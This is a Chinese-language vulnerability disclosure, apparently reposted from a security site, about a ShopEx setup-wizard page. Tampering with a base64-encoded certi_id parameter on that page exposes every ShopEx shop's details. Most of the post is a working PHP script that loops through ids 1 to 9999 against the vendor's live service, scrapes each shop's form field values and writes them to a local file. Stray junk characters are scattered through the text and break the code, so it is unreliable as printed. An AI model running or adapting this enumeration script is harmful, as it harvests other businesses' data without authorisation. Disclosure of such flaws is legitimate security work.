ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
5 P' S: p( K; C5 h" {: }" gShopEx某接口缺陷,可遍历所有网站
. P, P" g( Z+ U2 K. u! ?6 O$ w详细说明：
1 v2 V/ ~' @! i* S0 m6 B问题出现在shopex 网店使用向导页面
0 t, X0 U# K! E* a. f! s6 L

3 F6 m5 O: I& f9 J, Z8 s
& ]" t- v8 ~  L; ?+ fhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
/ y+ P7 K4 o  v$ l# l' X2 c


+ {; Y, }# ?# s2 irefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

7 X( ]9 Z" g  E, v$ W* w' f9 I
) N5 T6 u# b( f) ^/ T
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



<?php
4 p, ]. x8 x# p
* J1 U) t- G( E  S                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
8 w1 T; C5 b/ O7 A/ p& C
9 @% ]3 d% c# S  o  {                }

                function ShowshopExD($cid) {
5 I9 H2 `; ?, Z1 o. v4 u1 R
                $url='http://guide.ecos.shopex.cn/step2.php';
" f; R3 r/ ^$ n5 x
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
  M1 d3 J  ~% V) Y# u) u
/ {- d$ G( X  X        $ch = curl_init($url);
1 P) H, u% p6 l" V0 V/ u! l3 c
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

  m- H9 o# m" g1 A* M        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))

% `8 T6 P2 P1 w5 C" G- t! D        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
$ D" C4 `, b4 A6 l- e+ K
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

) x6 o# I. |$ p( v' F- j                foreach ($value[1] as $key) {
7 O- \) k, I3 N9 c* z( u
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
6 P4 e9 m  X- \7 E
                        echo $res[1][0].':'.$res[3][0]."\r\n";

/ ^; o! r% s# ?0 o6 s. x                        $col =$res[1][0].':'.$res[3][0]."\r\n";
$ u0 v, L# q5 N2 h
  u& s0 |7 o7 Y6 s6 b, L                        fwrite($fp, $col, strlen($col));

1 r( F+ h- w; t                }
* a& X' `( M$ X, C. ?) g
                echo '--------------------------------'."\r\n";
7 W7 @, D9 A: }$ @. [
; ]# Q0 k, Y$ a. a, r) B9 @) E# b/ A% {                fclose($fp);
! t- z8 s# r& \9 |
        }

. Y# Q/ N7 E6 Q% r! N        flush();
. g9 z. a! K2 N' F: K- |% W( x
" t) k; }8 K/ o0 n; J        curl_close($ch);
* X8 t3 Y  U' l2 w$ I# x
+ @9 S1 l6 l% P8 m7 P1 }3 f                }

" J9 B8 S, o3 K& i' y* V& q?>
; I$ E* l6 Z; X7 n% p漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
( E  y! ~9 c3 z9 T5 ?refer换成其他加密方式